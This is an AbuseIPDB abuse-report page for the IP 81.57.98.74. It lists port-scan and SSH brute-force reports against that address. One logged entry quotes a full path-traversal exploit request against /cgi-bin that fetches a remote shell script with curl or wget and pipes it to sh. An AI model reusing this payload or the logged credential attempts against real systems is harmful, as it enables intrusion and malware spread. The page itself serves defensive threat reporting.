AbuseIPDB » 81.57.98.74

81.57.98.74 was found in our database!

This IP was reported 252 times. Confidence of Abuse is 100%: ?

100%

ISP	Iliad / Free SAS
Usage Type	Fixed Line ISP
ASN	AS29447
Hostname(s)	pha75-1_migr-81-57-98-74.fbx.proxad.net
Domain Name	free.fr
Country	Italy
City	Milan, Lombardy

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated biweekly.

Report 81.57.98.74

Whois 81.57.98.74

IP Abuse Reports for 81.57.98.74:

This IP address has been reported a total of 252 times from 100 distinct sources. 81.57.98.74 was first reported on February 12th 2025, and the most recent report was 2 weeks ago.

Old Reports: The most recent abuse report for this IP address is from 2 weeks ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp in UTC	Comment	Categories
urnilxfgbez	2025-02-27 23:45:00 (2 weeks ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
Anonymous	2025-02-27 17:25:11 (2 weeks ago)	Unauthorized connection attempt on Port 23	Port Scan Hacking Exploited Host
drewf.ink	2025-02-27 17:01:20 (2 weeks ago)	[17:01] Attempted SSH login on port 2222 with credentials emcali:emcali	Brute-Force SSH
formality	2025-02-27 16:11:43 (2 weeks ago)	Invalid user ts3user from 81.57.98.74 port 57552	Brute-Force SSH
MPL	2025-02-27 16:06:55 (2 weeks ago)	tcp/2222 (2 or more attempts)	Port Scan
bescared	2025-02-27 16:04:02 (2 weeks ago)	F2B - Malicious activity detected. URL Probing.	Hacking Bad Web Bot Web App Attack
ThreatBook.io	2025-02-25 22:48:13 (2 weeks ago)	ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/81.57.98.74 2025 ... show moreThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/81.57.98.74 2025-02-25 00:11:44 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"X=$(curl http://94.156.177.109/sh \|\| wget http://94.156.177.109/sh -O-); echo \"$X\" \| sh -s apache.selfrep","content_type":"text/plain","header":{"Accept":["/"],"Connection":["keep-alive"],"Content-Length":["105"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["Custom-AsyncHttpClient"]},"host":"47.106.11.143:80","method":"POST","proto":"HTTP/1.1","remote_addr":"81.57.98.74:42544","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"Custom-AsyncHttpClient"} show less	Web App Attack
urnilxfgbez	2025-02-24 23:45:00 (2 weeks ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
rtbh.com.tr	2025-02-24 16:49:30 (2 weeks ago)	list.rtbh.com.tr report: tcp/23	Brute-Force
rshict	2025-02-24 01:04:46 (2 weeks ago)	Hacking, Brute-Force, Web App Attack	Hacking Brute-Force Web App Attack
MPL	2025-02-21 07:52:37 (3 weeks ago)	tcp/2375	Port Scan
MPL	2025-02-21 07:52:37 (3 weeks ago)	tcp/2375	Port Scan
ATV	2025-02-21 03:09:21 (3 weeks ago)	Unsolicited connection attempts to port 2375	Port Scan
urnilxfgbez	2025-02-20 23:45:00 (3 weeks ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
MPL	2025-02-20 17:20:23 (3 weeks ago)	tcp/443 (2 or more attempts)	Port Scan